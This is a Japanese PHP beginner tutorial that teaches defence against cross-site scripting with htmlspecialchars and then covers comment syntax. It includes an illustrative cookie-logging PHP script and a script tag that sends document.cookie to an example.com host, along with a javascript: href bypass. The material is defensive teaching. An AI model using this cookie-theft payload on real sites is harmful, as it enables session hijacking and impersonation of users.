【PHP入門講座】 XSS攻撃への対策

  • 98
    Like
  • 0
    Comment
More than 1 year has passed since last update.

目次に戻る

XSS攻撃

XSS(クロスサイトスクリプティング) 。JavaScriptを実行するコードを制作者の意図していない場所に埋め込む手法であって、PHPを使って実際にプログラミングをしていくうえで真っ先に考えなければいけないのがこの攻撃に対する対策です。

XSS攻撃が成功するまでの流れ

TwitterがXSS攻撃への対策を怠っていたと仮定します。

1. 悪意のあるユーザーの下準備

悪意のあるユーザー(A)が

<?php
$s = serialize(@$_GET['cookie']);
file_put_contents('./cookie_log/' . md5($s), $s);

のようなスクリプトを

http://example.com/A/cookie_log.php

に設置。

2. 攻撃コードを埋め込む

Aは被害者のユーザー(B)が閲覧可能な場所、つまりメンション欄に

<script type="text/javascript">
var img = new Image();
img.src = "http://example.com/A/cookie_log.php?" + document.cookie;
</script>

以上の攻撃コードが埋め込まれたツイートを届ける。

3. 被害者のCookie情報が流出する

Bのブラウザが、読み込まれたJavaScriptコードに従って画像を取りに行こうとするので、そのときに

"http://example.com/A/cookie_log.php?" + document.cookie;

に対して、自分自身のCookie情報をURLに付加してリクエストが実行されてしまう。

4. 被害発生

cookie_log.php は送られてきたCookie情報を保存する。やがてそれをAが入手することとなり、彼はBのログイン済みのCookie情報を利用し、Bに成りすまして好き放題ツイートしたり出来る。

対策方法

< >実体参照 に置換してしまえば、それだけでJavaScriptコードの実行をだいたい防ぐことが出来ます。この処理を、HTML特殊文字を 「エスケープする」 といいます。一口にエスケープするといっても様々なエスケープがあり、何のためにエスケープするのかが重要です。

PHPではこの処理を行うための htmlspecialchars という関数が標準で用意されています。しかしこの関数は関数名が長い上に、パラメータも実質3つは必須となっており、そのままでは非常に使い勝手が悪いです。そこでそれを使いやすく包み込んだ ラッパー関数 を作成します。ユーザー定義関数を初めて作成する項となりますが、まだ関数についての説明はそれほど行っていないので軽く流してください。

htmlspecialchars
http://php.net/manual/ja/function.htmlspecialchars.php

function h($str) {
    return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}

$str で引数を1つ受け取り、それを htmlspecialchars 関数に渡しています。この関数はデフォルトでは以下の変換を行います。

  • <&lt;
  • >&gt;
  • &&amp;
  • "&quot;

第2引数に ENT_QUOTES を指定すると、下記の変換も行うようになります。

  • '&apos;

第3引数では文字コードを指定します。ここでの詳しい説明は割愛しますが、互換性の面から UTF-8 と省略せずに指定しておくことをオススメします。

PHPコード
<?php
echo h('<a href="test.php?a=b&amp;c=d">Test</a>');
実行結果
&lt;a href=&quot;test.php?a=b&amp;amp;c=d&quot;&gt;Test&lt;/a&gt;

「だいたい」な理由

このようにHTML特殊文字のエスケープを行っても防げないケースがあるからです。

PHPコード
<a href="<?php echo h("javascript:alert('Test')"); ?>">Test</a>
実行結果
<a href="javascript:alert('Test')">Test</a>

完全に防ぐには、(チェックを行わないまま)属性値にユーザー入力を展開してはいけないという制約を設ける必要があります。

次回以降に向けて

h 関数は最後の echo と同時に

<div><?php echo h($var); ?></div>

エスケープを実行するのは最後に echo して値を表示すると同時にしてください。(例外もありますが)あらかじめエスケープしておいて変数に保存するのは可能な限りやめてください。なぜなら 「この変数ってエスケープ済みだっけ・・・?」 という余分なことを考える必要が発生してしまうからです。

実は、上記のコードのように1つのPHPタグ区間内に文が1つしかない場合、末尾のセミコロンを省略して

<div><?php echo h($var) ?></div>

とすることが出来ます。更にPHP5.4以降であれば、この形を

<div><?=h($var)?></div>

として短縮することが出来ます。 これを echo短縮構文 といいます。<?php=h($var)?> ではないことに注意してください。次回以降はこれが使えるところはこの方法で記述していきます。

必要に応じてコメントを入れる

プログラミングにおいて、「明日の自分は自分ではない」ということがよく言われます。これは、今自分が書いたコードを明日の自分が理解できる保証はないということを意味しているのです。そこでコメントを使って未来の自分が理解するための手がかりを今のうちに残しておく癖をつけましょう。

PHPには3種類のコメント記述が用意されています。

  • // 1行指定
  • # 1行指定
  • /**/ 複数行指定
<?php

// 1回目
echo 1 + 1; // 1+1を計算する!

# 2回目
echo 1 + 2 # 1+2を計算する!

/* 
// 3回目
echo 1 + 3; // 1+3を計算する!
*/

この例では3回目のための記述を丸ごとコメント化しています。このように一時的にコメント化してコードを無効にすることを 「コメントアウトする」 といいます。

関数などのためのコメントには

  • /***/ 複数行指定

という形式がよく用いられます。単に先ほどの例で先頭の * を1つ増やしただけですが、このQiitaを含め、多くのソースコード整形表示ツールでは専用の色が適用されて表示されます。

/**
 * HTML特殊文字をエスケープする関数
 */
function h($str) {
    return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}

PhpDoc という特別な書き方も存在します。

/**
 * HTML特殊文字をエスケープする関数
 * 
 * @param $str 対象の文字列
 * @return 処理された文字列 
 */
function h($str) {
    return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}